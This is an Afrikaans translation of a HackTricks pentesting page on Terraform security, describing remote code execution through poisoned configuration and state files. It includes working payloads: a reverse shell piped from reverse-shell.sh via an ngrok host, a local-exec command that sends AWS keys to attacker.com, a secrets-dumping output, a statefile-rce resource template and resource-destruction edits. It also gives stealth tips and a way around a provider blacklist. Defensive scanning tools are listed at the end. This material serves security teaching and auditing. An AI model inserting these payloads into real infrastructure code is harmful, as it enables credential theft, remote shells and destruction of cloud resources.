Files
hacktricks-cloud/src/pentesting-ci-cd/terraform-security.md

17 KiB
Raw Blame History

Terraform Sekuriteit

{{#include ../banners/hacktricks-training.md}}

Basiese Inligting

Uit die dokumentasie:

HashiCorp Terraform is 'n infrastruktuur as kode hulpmiddel wat jou toelaat om beide wolke en plaaslike hulpbronne in menslike leesbare konfigurasie lêers te definieer wat jy kan weergawe, hergebruik en deel. Jy kan dan 'n konsekwente werksvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan lae-vlak komponente soos rekenaar, stoor en netwerk hulpbronne bestuur, sowel as hoë-vlak komponente soos DNS inskrywings en SaaS kenmerke.

Hoe werk Terraform?

Terraform skep en bestuur hulpbronne op wolkplatforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (API's). Verskaffers stel Terraform in staat om met feitlik enige platform of diens met 'n toeganklike API te werk.

HashiCorp en die Terraform gemeenskap het reeds meer as 1700 verskaffers geskryf om duisende verskillende tipes hulpbronne en dienste te bestuur, en hierdie getal hou aan om te groei. Jy kan al die publiek beskikbare verskaffers op die Terraform Registry vind, insluitend Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, en nog baie meer.

Die kern Terraform werksvloei bestaan uit drie fases:

  • Skryf: Jy definieer hulpbronne, wat oor verskeie wolkverskaffers en dienste kan wees. Byvoorbeeld, jy mag 'n konfigurasie skep om 'n toepassing op virtuele masjiene in 'n Virtuele Privaat Wolk (VPC) netwerk met sekuriteitsgroepe en 'n laaibalans te ontplooi.
  • Beplan: Terraform skep 'n uitvoeringsplan wat die infrastruktuur beskryf wat dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.
  • Toepas: Met goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, terwyl dit enige hulpbron afhanklikhede respekteer. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtuele masjiene in daardie VPC verander, sal Terraform die VPC hercreëer voordat dit die virtuele masjiene skaal.

Terraform Laboratorium

Installeer eenvoudig terraform op jou rekenaar.

Hier het jy 'n gids en hier het jy die beste manier om terraform af te laai.

RCE in Terraform: konfigurasie lêer vergiftiging

Terraform het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel wat ons kan opnoem nie, daarom is die enigste manier om terraform te kompromitteer om in staat te wees om terraform konfigurasie lêers by te voeg/wysig of om in staat te wees om die terraform toestand lêer te wysig (sien hoofstuk hieronder).

Tog, terraform is 'n baie sensitiewe komponent om te kompromitteer omdat dit bevoorregte toegang tot verskillende plekke sal hê sodat dit behoorlik kan werk.

Die hoofmanier vir 'n aanvaller om in staat te wees om die stelsel waar terraform loop te kompromitteer, is om die repository wat terraform konfigurasies stoor te kompromitteer, omdat dit op 'n stadium geïterpreteer gaan word.

Werklik, daar is oplossings daar buite wat automaties terraform plan/toepas uitvoer nadat 'n PR geskep is, soos Atlantis:

{{#ref}} atlantis-security.md {{#endref}}

As jy in staat is om 'n terraform lêer te kompromitteer, is daar verskillende maniere waarop jy RCE kan uitvoer wanneer iemand terraform plan of terraform apply uitvoer.

Terraform plan

Terraform plan is die mees gebruikte opdrag in terraform en ontwikkelaars/oplossings wat terraform gebruik, noem dit heeltyd, so die gemaklikste manier om RCE te kry is om te verseker dat jy 'n terraform konfigurasie lêer vergiftig wat arbitrêre opdragte in 'n terraform plan sal uitvoer.

Gebruik 'n eksterne verskaffer

Terraform bied die external verskaffer wat 'n manier bied om tussen Terraform en eksterne programme te kommunikeer. Jy kan die external databron gebruik om arbitrêre kode tydens 'n plan uit te voer.

Om iets soos die volgende in 'n terraform konfigurasie lêer in te voeg, sal 'n rev shell uitvoer wanneer jy terraform plan uitvoer:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Gebruik van 'n pasgemaakte verskaffer

'n Aanvaller kan 'n pasgemaakte verskaffer na die Terraform Registry stuur en dit dan by die Terraform-kode in 'n kenmerk tak voeg (voorbeeld hier):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Die verskaffer word afgelaai in die init en sal die kwaadwillige kode uitvoer wanneer plan uitgevoer word.

Jy kan 'n voorbeeld vind in https://github.com/rung/terraform-provider-cmdexec

Gebruik van 'n eksterne verwysing

Albei genoemde opsies is nuttig, maar nie baie stil nie (die tweede is stilser, maar meer kompleks as die eerste). Jy kan hierdie aanval selfs op 'n stilser manier uitvoer deur hierdie voorstelle te volg:

  • In plaas daarvan om die rev shell direk in die terraform-lêer by te voeg, kan jy 'n eksterne hulpbron laai wat die rev shell bevat:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

U kan die rev shell kode vind in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • In die eksterne hulpbron, gebruik die ref kenmerk om die terraform rev shell kode in 'n tak binne die repo te verberg, iets soos: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply sal uitgevoer word om al die veranderinge toe te pas, jy kan dit ook misbruik om RCE te verkry deur 'n kwaadwillige Terraform-lêer met local-exec.
Jy moet net seker maak dat 'n payload soos die volgende in die main.tf lêer eindig:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Volg die voorstelle van die vorige tegniek om hierdie aanval op 'n stealthier manier met eksterne verwysings uit te voer.

Geheimenisse Dumps

Jy kan geheime waardes wat deur terraform gebruik word, laat dump deur terraform apply te loop en iets soos die volgende aan die terraform-lêer toe te voeg:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Misbruik van Terraform Toestand Lêers

In die geval dat jy skryfreëls oor terraform toestand lêers het, maar nie die terraform kode kan verander nie, hierdie navorsing bied 'n paar interessante opsies om voordeel te trek uit die lêer. Selfs al sou jy skryfreëls oor die konfigurasielêers hê, is dit dikwels baie meer slu om die vektor van toestand lêers te gebruik, aangesien jy nie spore in die git geskiedenis agterlaat nie.

RCE in Terraform: konfigurasielêer vergiftiging

Dit is moontlik om n pasgemaakte verskaffer te skep en net een van die verskaffers in die terraform toestand lêer te vervang met die kwaadwillige een of 'n vals hulpbron by te voeg wat na die kwaadwillige verskaffer verwys.

Die verskaffer statefile-rce bou voort op die navorsing en wapen hierdie beginsel. Jy kan 'n vals hulpbron byvoeg en die arbitrêre bash-opdrag wat jy wil uitvoer in die attribuut command verklaar. Wanneer die terraform uitvoering geaktiveer word, sal dit gelees en uitgevoer word in beide die terraform plan en terraform apply stappe. In die geval van die terraform apply stap, sal terraform die vals hulpbron uit die toestand lêer verwyder nadat jou opdrag uitgevoer is, en homself opruim. Meer inligting en 'n volledige demo kan gevind word in die GitHub-bewaarplek wat die bronkode vir hierdie verskaffer huisves.

Om dit direk te gebruik, sluit net die volgende in enige posisie van die resources array in en pas die name en die command attribuut aan:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Dan, sodra terraform uitgevoer word, sal jou kode loop.

Huidige hulpbronne verwyder

Daar is 2 maniere om hulpbronne te vernietig:

  1. Voeg 'n hulpbron met 'n ewekansige naam in die staatlêer in wat na die werklike hulpbron verwys wat vernietig moet word

Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die werklike hulpbron-ID wat aangedui word). Voorbeeld van die vorige bladsy:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Wysig die hulpbron om te verwyder op 'n manier dat dit nie moontlik is om op te dateer nie (sodat dit verwyder en weer geskep sal word)

Vir 'n EC2-instantie is dit genoeg om die tipe van die instantie te wysig sodat terraform dit verwyder en weer skep.

Vervang geblacklisted verskaffer

In die geval dat jy 'n situasie teëkom waar hashicorp/external geblacklisted was, kan jy die external verskaffer her-implementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die external verskaffer wat gepubliseer is deur https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan jou eie fork of her-implementering ook publiseer.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Dan kan jy external soos normaal gebruik.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Outomatiese Oudit Gereedskap

Snyk Infrastruktuur as Kode (IaC)

Snyk bied 'n omvattende Infrastruktuur as Kode (IaC) skandeeroplossing wat kwesbaarhede en verkeerde konfigurasies in Terraform, CloudFormation, Kubernetes, en ander IaC formate opspoor.

  • Kenmerke:
  • Regs-tyd skandering vir sekuriteitskwesbaarhede en nakomingskwessies.
  • Integrasie met weergawebeheer stelsels (GitHub, GitLab, Bitbucket).
  • Outomatiese regstelling trekversoeke.
  • Gedetailleerde hersteladvies.
  • Teken In: Skep 'n rekening op Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov is 'n statiese kode-analise hulpmiddel vir infrastruktuur as kode (IaC) en ook 'n sagteware-samestelling analise (SCA) hulpmiddel vir beelde en oopbrons pakkette.

Dit skandeer wolkinfrastruktuur wat voorsien is met Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, of OpenTofu en detecteer sekuriteits- en nakomingsmisconfigurasies deur middel van graf-gebaseerde skandering.

Dit voer Software Composition Analysis (SCA) skandering uit wat 'n skandering van oopbrons pakkette en beelde vir Algemene Kw vulnerabilities en Blootstellings (CVEs) is.

pip install checkov
checkov -d /path/to/folder

terraform-compliance

Van die docs: terraform-compliance is 'n liggewig, sekuriteit en nakoming gefokusde toetsraamwerk teenoor terraform om negatiewe toetsing vermoë vir jou infrastruktuur-as-kode moontlik te maak.

  • nakoming: Verseker dat die geïmplementeerde kode die sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg.
  • gedragsgedrewe ontwikkeling: Ons het BDD vir byna alles, hoekom nie vir IaC nie?
  • portabel: installeer dit net vanaf pip of hardloop dit via docker. Sien Installasie
  • voor-ontplooi: dit valideer jou kode voordat dit ontplooi word.
  • maklik om te integreer: dit kan in jou pyplyn (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word.
  • segregasie van pligte: jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is.

Note

Ongelukkig, as die kode sommige verskaffers gebruik wat jy nie toegang tot het nie, sal jy nie in staat wees om die terraform plan uit te voer en hierdie hulpmiddel te gebruik nie.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Van die docs: tfsec gebruik statiese analise van jou terraform kode om potensiële miskonfigurasies op te spoor.

  • ☁️ Kontroleer vir miskonfigurasies oor alle groot (en sommige klein) wolkverskaffers
  • Honderde ingeboude reëls
  • 🪆 Skandeer modules (plaaslik en afstand)
  • Evalueer HCL-uitdrukkings sowel as letterlike waardes
  • ↪️ Evalueer Terraform funksies bv. concat()
  • 🔗 Evalueer verhoudings tussen Terraform hulpbronne
  • 🧰 Geskik vir die Terraform CDK
  • 🙅 Pas (en versier) gebruiker-gedefinieerde Rego-beleide toe
  • 📃 Ondersteun verskeie uitvoerformate: pragtig (verstek), JSON, SARIF, CSV, CheckStyle, JUnit, teks, Gif.
  • 🛠️ Konfigureerbaar (via CLI-vlaggies en/of konfigurasie-lêer)
  • Baie vinnig, in staat om vinnig groot repositories te skandeer
brew install tfsec
tfsec /path/to/folder

KICKS

Vind sekuriteitskwesbaarhede, nakomingskwessies, en infrastruktuur miskonfigurasies vroeg in die ontwikkelingsiklus van jou infrastruktuur-as-kode met KICS deur Checkmarx.

KICS staan vir Keeping Infrastructure as Code Secure, dit is oopbron en is 'n moet-hê vir enige wolk-natiewe projek.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Van die docs: Terrascan is 'n statiese kode-analiseerder vir Infrastruktur as Kode. Terrascan stel jou in staat om:

  • Naadloos infrastruktuur as kode te skandeer vir misconfigurasies.
  • Geverifieerde wolkinfrastruktuur te monitor vir konfigurasiewijzigings wat posisie-afwykings inbring, en stel jou in staat om na 'n veilige posisie terug te keer.
  • Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek.
  • Risiko's te verminder voordat wolknatiewe infrastruktuur geprovisioneer word.
  • Bied buigsaamheid om plaaslik te loop of te integreer met jou CI\CD.
brew install terrascan

Verwysings

{{#include ../banners/hacktricks-training.md}}